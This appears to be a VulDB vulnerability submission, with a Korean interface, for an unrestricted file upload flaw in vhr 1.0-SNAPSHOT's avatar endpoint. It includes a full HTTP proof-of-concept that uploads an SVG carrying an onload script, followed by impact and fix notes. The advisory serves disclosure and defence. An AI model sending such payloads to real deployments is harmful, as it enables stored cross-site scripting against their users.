| 제목 | lenve vhr 1.0-SNAPSHOT Unrestricted Upload |
|---|
| 설명 | vhr(微人事) — Unrestricted File Upload on POST /hr/userface (VHR-VULN-005)
Product: vhr(微人事) 1.0-SNAPSHOT
CWE: CWE-434
Classification: Unrestricted Upload
=== ROOT CAUSE ===
`FastDFSUtils.upload()` — no file type validation.
=== REPRODUCTION ===
Avatar upload accepts arbitrary extensions (e.g. SVG) without MIME/extension whitelist.
PoC:
POST /hr/userface HTTP/1.1
Host: TARGET
Content-Type: multipart/form-data; boundary=----BOUNDARY
Cookie: JSESSIONID=SESSION_LIBAI
Connection: close
------BOUNDARY
Content-Disposition: form-data; name="id"
5
------BOUNDARY
Content-Disposition: form-data; name="file"; filename="poc.svg"
Content-Type: image/svg+xml
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
------BOUNDARY--
Expected: {"status":200,"msg":"更新成功!"}
=== IMPACT ===
Stored XSS if uploaded content is served inline from FastDFS/CDN.
=== FIX ===
Whitelist image extensions; validate magic bytes; strip SVG scripts.
|
|---|
| 원천 | ⚠️ https://github.com/ArrestX/vhr-advisories/blob/main/advisories/VHR-VULN-005-unrestricted-upload.md |
|---|
| 사용자 | Anonymous User |
|---|
| 제출 | 2026. 07. 16. PM 01:51 (2 개월 ago) |
|---|
| 모더레이션 | 2026. 09. 12. AM 10:24 (2 months later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 403088 [lenve vhr 1.0-SNAPSHOT Avatar Upload /hr/userface FastDFSUtils.upload 파일 권한 상승] |
|---|
| 포인트들 | 20 |
|---|